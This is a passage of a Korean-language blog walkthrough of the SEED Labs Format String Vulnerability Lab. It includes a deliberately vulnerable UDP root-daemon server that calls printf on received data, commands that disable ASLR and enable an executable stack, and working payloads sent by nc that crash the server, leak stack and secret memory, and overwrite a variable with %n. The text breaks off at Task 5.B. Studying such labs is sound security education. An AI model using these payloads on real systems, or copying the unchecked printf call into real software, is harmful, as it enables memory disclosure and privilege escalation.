&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;reference: &lt;a href=&quot;https://linuxize.com/post/how-to-install-kvm-on-ubuntu-20-04/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;linuxize.com/post/how-to-install-kvm-on-ubuntu-20-04/&lt;/a&gt;&lt;/p&gt;</description>
      <category>ETC...</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/259</guid>
      <comments>https://marcokhan.tistory.com/259#entry259comment</comments>
      <pubDate>Sun, 31 Jan 2021 13:20:55 +0900</pubDate>
    </item>
    <item>
      <title>SEEDLAB Chap 6: Format String Vulnerability Lab</title>
      <link>https://marcokhan.tistory.com/258</link>
      <description>&lt;p&gt;&quot;Computer &amp;amp; Internet security : A Hand-on Approach&quot; 서적의 내용 중 System security에 관련된 내용을 기술한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;본 블로그에서는 6장 &quot;Format String vulnerability&quot;에 대한 실습 내용을 풀이한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;SEEDLAB에서 제공하는 실습 task 중 유의미한 task들에 대해서만 풀이를 진행한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Disable the mitigaitons&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;span&gt;Task들을 시작하기 전에 최근 Ubuntu에서 동작하는 mitigation인 KASLR을 disable 해야한다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;Format string vulnerability를 exploit하기 위해서 반드시 KASLR을 disable 해야하는 것은 아니지만, 실험의 편의를 위해 disable한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611839946612&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ sudo sysctl -w kernel.randomize_va_space=0&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Task 1: The Vulnerable Program&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;You are given a vulnerable program that has a format string vulnerability. This program is a server program. When it runs, it listens to UDP port 9090. Whenever a UDP packet comes to this port, the program get the data and invokes myprintf() to print out the data. The server is a root daemon, i.e., it runs with the root privilege. Inside the myprintf() function, there is a format string vulnerability. We will exploit this vulnerability&amp;nbsp;to&amp;nbsp;gain&amp;nbsp;the&amp;nbsp;root&amp;nbsp;privilege.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1611840360022&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;  1 #include &amp;lt;stdio.h&amp;gt;
  2 #include &amp;lt;stdlib.h&amp;gt;
  3 #include &amp;lt;unistd.h&amp;gt;
  4 #include &amp;lt;string.h&amp;gt;
  5 #include &amp;lt;sys/socket.h&amp;gt;
  6 #include &amp;lt;netinet/ip.h&amp;gt;
  7 
  8 #define PORT 9090
  9 
 10 /* Changing this size will change the layout of the stack.
 11  * We have added 2 dummy arrays: in main() and myprintf().
 12  * Instructors can change this value each year, so students 
 13  * won't be able to use the solutions from the past.   
 14  * Suggested value: between 0 and 300  */
 15 #ifndef DUMMY_SIZE
 16 #define DUMMY_SIZE 100
 17 #endif
 18 
 19 char *secret = &quot;A secret message\n&quot;;
 20 unsigned int  target = 0x11223344;
 21 
 22 void myprintf(char *msg)
 23 {
 24     uintptr_t framep;
 25     // Copy the ebp value into framep, and print it out
 26     asm(&quot;movl %%ebp, %0&quot; : &quot;=r&quot;(framep));
 27     printf(&quot;The ebp value inside myprintf() is: 0x%.8x\n&quot;, framep);
 28 
 29     /* Change the size of the dummy array to randomize the parameters 
 30        for this lab. Need to use the array at least once */
 31     char dummy[DUMMY_SIZE];  memset(dummy, 0, DUMMY_SIZE);
 32 
 33     // This line has a format-string vulnerability
 34     printf(msg);
 35     printf(&quot;The value of the 'target' variable (after): 0x%.8x\n&quot;, target);
 36 }
 37 
 38 /* This function provides some helpful information. It is meant to
 39  *   simplify the lab tasks. In practice, attackers need to figure
 40  *   out the information by themselves. */
 41 void helper()
 42 {
 43     printf(&quot;The address of the secret: 0x%.8x\n&quot;, (unsigned) secret);
 44     printf(&quot;The address of the 'target' variable: 0x%.8x\n&quot;,
 45             (unsigned) &amp;amp;target);
 46     printf(&quot;The value of the 'target' variable (before): 0x%.8x\n&quot;, target);
 47 }
 48 
 49 void main()
 50 {
 51     struct sockaddr_in server;
 52     struct sockaddr_in client;
 53     int clientLen;
 54     char buf[1500];
 55 
 56     /* Change the size of the dummy array to randomize the parameters 
 57        for this lab. Need to use the array at least once */
 58     char dummy[DUMMY_SIZE];  memset(dummy, 0, DUMMY_SIZE);
 59 
 60     printf(&quot;The address of the input array: 0x%.8x\n&quot;, (unsigned) buf);
 61 
 62     helper();
 63 
 64     int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
 65     memset((char *) &amp;amp;server, 0, sizeof(server));
 66     server.sin_family = AF_INET;
 67     server.sin_addr.s_addr = htonl(INADDR_ANY);
 68     server.sin_port = htons(PORT);
 69 
 70     if (bind(sock, (struct sockaddr *) &amp;amp;server, sizeof(server)) &amp;lt; 0)
 71         perror(&quot;ERROR on binding&quot;);
 72 
 73     while (1) {
 74         bzero(buf, 1500);
 75         recvfrom(sock, buf, 1500-1, 0,
 76                  (struct sockaddr *) &amp;amp;client, &amp;amp;clientLen);
 77         myprintf(buf);
 78     }
 79     close(sock);
 80 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;코드 설명은 다음과 같다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Line 51-52:&lt;/b&gt; sockadd_in 구조체는 IPv4 주소를 저장하는 구조체이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Line 53-54:&lt;/b&gt; 추후 사용될 recvfrom 함수를 위해 변수를 선언한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Line 58:&lt;/b&gt; dummy 배열을 선언하고 dummy 배열의 모든 element를 0으로 초기화한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Line 60:&lt;/b&gt; buf 배열의 주소를 출력한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Line 62, 41-47:&lt;/b&gt; helper() 함수를 호출하여 secret이 포함하고 있는 문자열의 주소와 target 변수의 주소와 값을 출력한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Line 64:&lt;/b&gt; AF_INET(IPv4)를 사용하고 SOCK_DGRAM(UDP)를 사용하며, IPROTO_UDP를 사용한다. socket()의 반환 값은&lt;/p&gt;
&lt;p&gt;socket descripter이고 socket을 생성한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Line 65:&lt;/b&gt; sockaddr_in 구조체인 server 변수를 0으로 초기화한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Line 66-68:&lt;/b&gt; server의 network type과 ip주소, port를 지정해준다. INADDR_ANY을 서버의 IP주소를 자동 할당한다. htonl() 함수는 &quot;host to network long&quot; 의 약어로 host가 network로 long 크기의 데이터를 보낼 때 바이트 order를 바꿔준다. htons() 함수는 &quot;network to network short&quot;는 short 크기의 데이터를 보낼 때 바이트 order를 변경해준다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611918448322&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;struct sockaddr_in {
        short   sin_family;
        u_short sin_port;
        struct  in_addr sin_addr;
        char    sin_zero[8];
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Line 70-71:&lt;/b&gt; bind() 함수를 이용하여 socket과 server의 정보를 묶어준다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Line 73-78:&lt;/b&gt; bzero() 함수를 이용해 buf 변수를 0으로 초기화한다. recvfrom() 함수를 이용해 socket으로 들어온 데이터 1499 byte까지 읽어들여 buf에 저장하고, myprint 함수를 호출한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Compilation.&lt;/b&gt; Compile the above program. You will receive a warning message. This warning message is a countermeasure implemented by the gcc compiler against format string vulnerabilities. We can ignore this&amp;nbsp;warning&amp;nbsp;message&amp;nbsp;for&amp;nbsp;now.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611840859560&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ gcc -z execstack -o server server.c 
server.c: In function &amp;lsquo;myprintf&amp;rsquo;:
server.c:34:5: warning: format not a string literal and no format arguments [-Wformat-security]
     printf(msg);
     ^
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It should be noted that the program needs to be compiled using the &quot;-z execstack&quot; option, which allows the stack to be executable. This option has no impact on Tasks 1 to 5, but for Tasks 6 and 7, it is important. In these two tasks, we need to inject malicious code into this server program&amp;rsquo;s stack space; if the stack is not executable, Tasks 6 and 7 will fail. Non-executable stack is a countermeasure against stackbased code injection attacks, but it can be defeated using the return-to-libc technique. To simplify this lab, we&amp;nbsp;simply&amp;nbsp;disable&amp;nbsp;this&amp;nbsp;defeat-able&amp;nbsp;countermeasure.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Running&amp;nbsp;and&amp;nbsp;testing&amp;nbsp;the&amp;nbsp;server.&lt;/b&gt; The ideal setup for this lab is to run the server on one VM, and then launch the attack from another VM. However, it is acceptable if students use one VM for this lab. On the server VM, we run our server program using the root privilege. We assume that this program is a privileged root daemon. The server listens to port 9090. On the client VM, we can send data to the server using the nc command, where the flag &quot;-u&quot; means UDP (the server program is a UDP server). The IP address in the following example should be replaced by the actual IP address of the server VM, or 127.0.0.1 if the client&amp;nbsp;and&amp;nbsp;server&amp;nbsp;run&amp;nbsp;on&amp;nbsp;the&amp;nbsp;same&amp;nbsp;VM.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611841249876&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// On the server VM
$ sudo ./server

// On the client VM: send a &quot;hello&quot; message to the server
$ echo hello | nc -u 127.0.0.1 9090

// On the client VM: send the content of badfile to the server
$ nc -u 127.0.0.1 9090 &amp;lt; badfile&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Yon can send any data to the server. The server program is supposed to print out whatever is sent by you. However, a format string vulnerability exists in the server program&amp;rsquo;s myprintf() function, which allows us to get the server program to do more than what it is supposed to do, including giving us a root access to the&amp;nbsp;server&amp;nbsp;machine.&amp;nbsp;In&amp;nbsp;the&amp;nbsp;rest&amp;nbsp;of&amp;nbsp;this&amp;nbsp;lab,&amp;nbsp;we&amp;nbsp;are&amp;nbsp;going&amp;nbsp;to&amp;nbsp;exploit&amp;nbsp;this&amp;nbsp;vulnerability.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;결과화면은 다음과 같다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1612273062796&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// server
$ ./server 
The address of the input array: 0xbfffe680
The address of the secret: 0x08048870
The address of the 'target' variable: 0x0804a044
The value of the 'target' variable (before): 0x11223344
The ebp value inside myprintf() is: 0xbfffe5d8
hello
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Task 2: Understanding the Layout of the Stack&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;To succeed in this lab, it is essential to understand the stack layout when the printf() function is invoked inside myprintf(). Figure 1 depicts the stack layout. You need to conduct some investigation and calculation. We intentionally print out some information in the server code to help simplify the investigation. Based on the investigation, students should answer the following questions:&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;bull; Question 1: What are the memory addresses at the locations marked by 1, 2, and 3? &lt;br /&gt;&amp;bull; Question 2: What is the distance between the locations marked by 1 and 3?&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;1번의 주소 즉, format string의 주소를 알기 위해서 여러개의 %x를 사용하여 buffer의 시작주소를 찾으면 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;client의 badfile의 내용을 다음과 같이 설정하고 nc 명령어를 통해 server에게 udp 패킷을 전송한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dAI6Y4/btqVbvZdNwo/TxNkM7gNMf3wjVOSNKSkXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dAI6Y4/btqVbvZdNwo/TxNkM7gNMf3wjVOSNKSkXk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dAI6Y4/btqVbvZdNwo/TxNkM7gNMf3wjVOSNKSkXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdAI6Y4%2FbtqVbvZdNwo%2FTxNkM7gNMf3wjVOSNKSkXk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Server는 Client가 보낸 문자열을 format string으로 인식하여 다음과 같은 결과 화면을 보여준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6K08v/btqVdNkfIdl/HAikJXSZx7wVyzMWfWencK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6K08v/btqVdNkfIdl/HAikJXSZx7wVyzMWfWencK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6K08v/btqVdNkfIdl/HAikJXSZx7wVyzMWfWencK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6K08v%2FbtqVdNkfIdl%2FHAikJXSZx7wVyzMWfWencK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;'@' 문자는 아스키 코드로 0x40이고, buf 변수의 가장 처음 4byte를 차지하고 있다. 따라서 %.8x format specifier로 여러번 stack 영역을 조사했을 때 총 79개의 %.8x가 필요한것을 확인하였다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dzMQAV/btqVCb56NR9/2xXfEDHkYTJTVc2fAIwmW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dzMQAV/btqVCb56NR9/2xXfEDHkYTJTVc2fAIwmW1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dzMQAV/btqVCb56NR9/2xXfEDHkYTJTVc2fAIwmW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdzMQAV%2FbtqVCb56NR9%2F2xXfEDHkYTJTVc2fAIwmW1%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Task 3: Crash the Program&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;The objective of this task is to provide an input to the server, such that when the server program tries to print out&amp;nbsp;the&amp;nbsp;user&amp;nbsp;input&amp;nbsp;in&amp;nbsp;the&amp;nbsp;myprintf()&amp;nbsp;function,&amp;nbsp;it&amp;nbsp;will&amp;nbsp;crash.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611925005059&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;client $ echo %s%s%s%s%s%s%s | nc -u 127.0.0.1 9090
server $
Segmentation fault
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;즉, va_list 가 가리키는 주소를 string으로 인식하여 NULL 문자를 만날 때까지 읽기 때문에 inaccessible한 address에 access하게 되면 segmentation fault가 발생한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Task 4: Print out the Server Program's Memory&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;The objective of this task is to get the server to print out some data from its memory. The data will be printed out on the server side, so the attacker cannot see it. Therefore, this is not a meaningful attack, but the technique used in his task will be essential for the subsequent tasks.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;bull;&amp;nbsp;&lt;/span&gt;Task&amp;nbsp;4.A:&amp;nbsp;Stack&amp;nbsp;Data.&lt;/b&gt;&amp;nbsp;The&amp;nbsp;goal&amp;nbsp;is&amp;nbsp;to&amp;nbsp;print&amp;nbsp;out&amp;nbsp;the&amp;nbsp;data&amp;nbsp;on&amp;nbsp;the&amp;nbsp;stack&amp;nbsp;(any&amp;nbsp;data&amp;nbsp;is&amp;nbsp;fine).&amp;nbsp;How&amp;nbsp;many &lt;br /&gt;format&amp;nbsp;specifiers&amp;nbsp;do&amp;nbsp;you&amp;nbsp;need&amp;nbsp;to&amp;nbsp;provide&amp;nbsp;so&amp;nbsp;you&amp;nbsp;can&amp;nbsp;get&amp;nbsp;the&amp;nbsp;server&amp;nbsp;program&amp;nbsp;to&amp;nbsp;print&amp;nbsp;out&amp;nbsp;the&amp;nbsp;first&amp;nbsp;four &lt;br /&gt;bytes&amp;nbsp;of&amp;nbsp;your&amp;nbsp;input&amp;nbsp;via&amp;nbsp;a&amp;nbsp;%x?&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;-&amp;gt; 앞선 Task3에서 실험한 것처럼 79개의 %x가 필요하다.&lt;/p&gt;
&lt;p&gt;$%80$8x를 통해 va_list의 80번째 argument에 접근해 8자리수로 출력한다.&lt;/p&gt;
&lt;pre id=&quot;code_1612272679813&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// server
$ python -c 'print &quot;@@@@%80$8x&quot;' &amp;gt; badfile
$ ./server 
The address of the input array: 0xbfffe680
The address of the secret: 0x08048870
The address of the 'target' variable: 0x0804a044
The value of the 'target' variable (before): 0x11223344
The ebp value inside myprintf() is: 0xbfffe5d8
@@@@40404040
The value of the 'target' variable (after): 0x11223344

// client
$ nc -u 127.0.0.1 9090  &amp;lt; badfile
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;&lt;b&gt;&amp;bull; Task 4.B: Heap Data.&lt;/b&gt; There is a secret message stored in the heap area, and you know its address; &lt;br /&gt;your&amp;nbsp;job&amp;nbsp;is&amp;nbsp;to&amp;nbsp;print&amp;nbsp;out&amp;nbsp;the&amp;nbsp;content&amp;nbsp;of&amp;nbsp;the&amp;nbsp;secret&amp;nbsp;message.&amp;nbsp;To&amp;nbsp;achieve&amp;nbsp;this&amp;nbsp;goal,&amp;nbsp;you&amp;nbsp;need&amp;nbsp;to&amp;nbsp;place &lt;br /&gt;the&amp;nbsp;address&amp;nbsp;(in&amp;nbsp;the&amp;nbsp;binary&amp;nbsp;form)&amp;nbsp;of&amp;nbsp;the&amp;nbsp;secret&amp;nbsp;message&amp;nbsp;in&amp;nbsp;your&amp;nbsp;input&amp;nbsp;(i.e.,&amp;nbsp;the&amp;nbsp;format&amp;nbsp;string),&amp;nbsp;but&amp;nbsp;it&amp;nbsp;is &lt;br /&gt;difficult&amp;nbsp;to&amp;nbsp;type&amp;nbsp;the&amp;nbsp;binary&amp;nbsp;data&amp;nbsp;inside&amp;nbsp;a&amp;nbsp;terminal.&amp;nbsp;We&amp;nbsp;can&amp;nbsp;use&amp;nbsp;the&amp;nbsp;following&amp;nbsp;commands&amp;nbsp;do&amp;nbsp;that.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;-&amp;gt; Task 4.A와 마찬가지로 payload 길이를 줄이기 위해 %k$s 형태의 shorted format string을 사용하면 된다.&lt;/p&gt;
&lt;p&gt;다음과 같이 secret 변수의 주소를 little endian으로 기입하면 충분하다.&lt;/p&gt;
&lt;pre id=&quot;code_1612273444414&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;//server
[02/02/21]seed@VM:~/.../format_string$ ./server 
The address of the input array: 0xbfffe680
The address of the secret: 0x08048870
The address of the 'target' variable: 0x0804a044
The value of the 'target' variable (before): 0x11223344
The ebp value inside myprintf() is: 0xbfffe5d8
p�A secret message

The value of the 'target' variable (after): 0x11223344

// client
$ python -c 'print &quot;\x70\x88\x04\x08%80$s&quot;' &amp;gt; badfile 
$ nc -u 127.0.0.1 9090  &amp;lt; badfile
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;다음과 같은 표현도 가능하지만 buf[1500]의 offset 위치를 알고 있기 때문에 %k$[format specifier] 형식을 사용하는 것이 훨씬 쉽다.&lt;/p&gt;
&lt;pre id=&quot;code_1612268008450&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ echo $(printf &quot;\x04\xF3\xFF\xBF&quot;)%.8x%.8x | nc -u 10.0.2.5 9090

// Or we can save the data in a file
$ echo $(printf &quot;\x04\xF3\xFF\xBF&quot;)%.8x%.8x &amp;gt; badfile
$ nc -u 10.0.2.5 9090 &amp;lt; badfile&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;It should be noted that most computers are little-endian machines, so to store an address 0xAABBCCDD (four bytes on a 32-bit machine) in memory, the least significant byte 0xDD is stored in the lower address, while the most significant byte 0xAA is stored in the higher address. Therefore, when we store the address in a buffer, we need to save it using this order: 0xDD, 0xCC, 0xBB, and then 0xAA.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Task 5: Change the Server Program's Memory&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;The&amp;nbsp;objective&amp;nbsp;of&amp;nbsp;this&amp;nbsp;task&amp;nbsp;is&amp;nbsp;to&amp;nbsp;modify&amp;nbsp;the&amp;nbsp;value&amp;nbsp;of&amp;nbsp;the&amp;nbsp;target&amp;nbsp;variable&amp;nbsp;that&amp;nbsp;is&amp;nbsp;defined&amp;nbsp;in&amp;nbsp;the&amp;nbsp;server&amp;nbsp;program.&amp;nbsp;Its&amp;nbsp;original&amp;nbsp;value&amp;nbsp;is&amp;nbsp;0x11223344.&amp;nbsp;Assume&amp;nbsp;that&amp;nbsp;this&amp;nbsp;variable&amp;nbsp;holds&amp;nbsp;an&amp;nbsp;important&amp;nbsp;value,&amp;nbsp;which&amp;nbsp;can&amp;nbsp;affect&amp;nbsp;the&amp;nbsp;control&amp;nbsp;flow&amp;nbsp;of&amp;nbsp;the&amp;nbsp;program.&amp;nbsp;If&amp;nbsp;remote&amp;nbsp;attackers&amp;nbsp;can&amp;nbsp;change&amp;nbsp;its&amp;nbsp;value,&amp;nbsp;they&amp;nbsp;can&amp;nbsp;change&amp;nbsp;the&amp;nbsp;behavior&amp;nbsp;of&amp;nbsp;this&amp;nbsp;program.&amp;nbsp;We&amp;nbsp;have&amp;nbsp;three&amp;nbsp;sub-tasks.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&amp;bull;&amp;nbsp;Task&amp;nbsp;5.A:&amp;nbsp;Change&amp;nbsp;the&amp;nbsp;value&amp;nbsp;to&amp;nbsp;a&amp;nbsp;different&amp;nbsp;value.&lt;/b&gt; In this sub-task, we need to change the content of the target variable to something else. Your task is considered as a success if you can change it to a different value, regardless of what value it may be.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;'target' 변수의 값을 0x123으로 바꾸기 위한 작업이다.&lt;/p&gt;
&lt;pre id=&quot;code_1612275798543&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// Server
$ ./server 
The address of the input array: 0xbfffe680
The address of the secret: 0x08048870
The address of the 'target' variable: 0x0804a044
The value of the 'target' variable (before): 0x11223344
The ebp value inside myprintf() is: 0xbfffe5d8
D�00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
The value of the 'target' variable (after): 0x00000123

// client
$ python -c 'print  &quot;\x44\xa0\x04\x08%.287x%80$n&quot;' &amp;gt; badfile 
$ nc -u 127.0.0.1 9090  &amp;lt; badfile&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&amp;bull;&amp;nbsp;Task&amp;nbsp;5.B:&amp;nbsp;Change&amp;nbsp;the&amp;nbsp;value&amp;nbsp;to&amp;nbsp;0x500.&amp;nbsp;&lt;/b&gt;In this sub task, we need to change the content of the target variable to a specific value 0x500. Your task is considered as a success only if the variable&amp;rsquo;s value becomes 0x500.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1612276069637&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// Server

$ ./server 
The address of the input array: 0xbfffe680
The address of the secret: 0x08048870
The address of the 'target' variable: 0x0804a044
The value of the 'target' variable (before): 0x11223344
The ebp value inside myprintf() is: 0xbfffe5d8
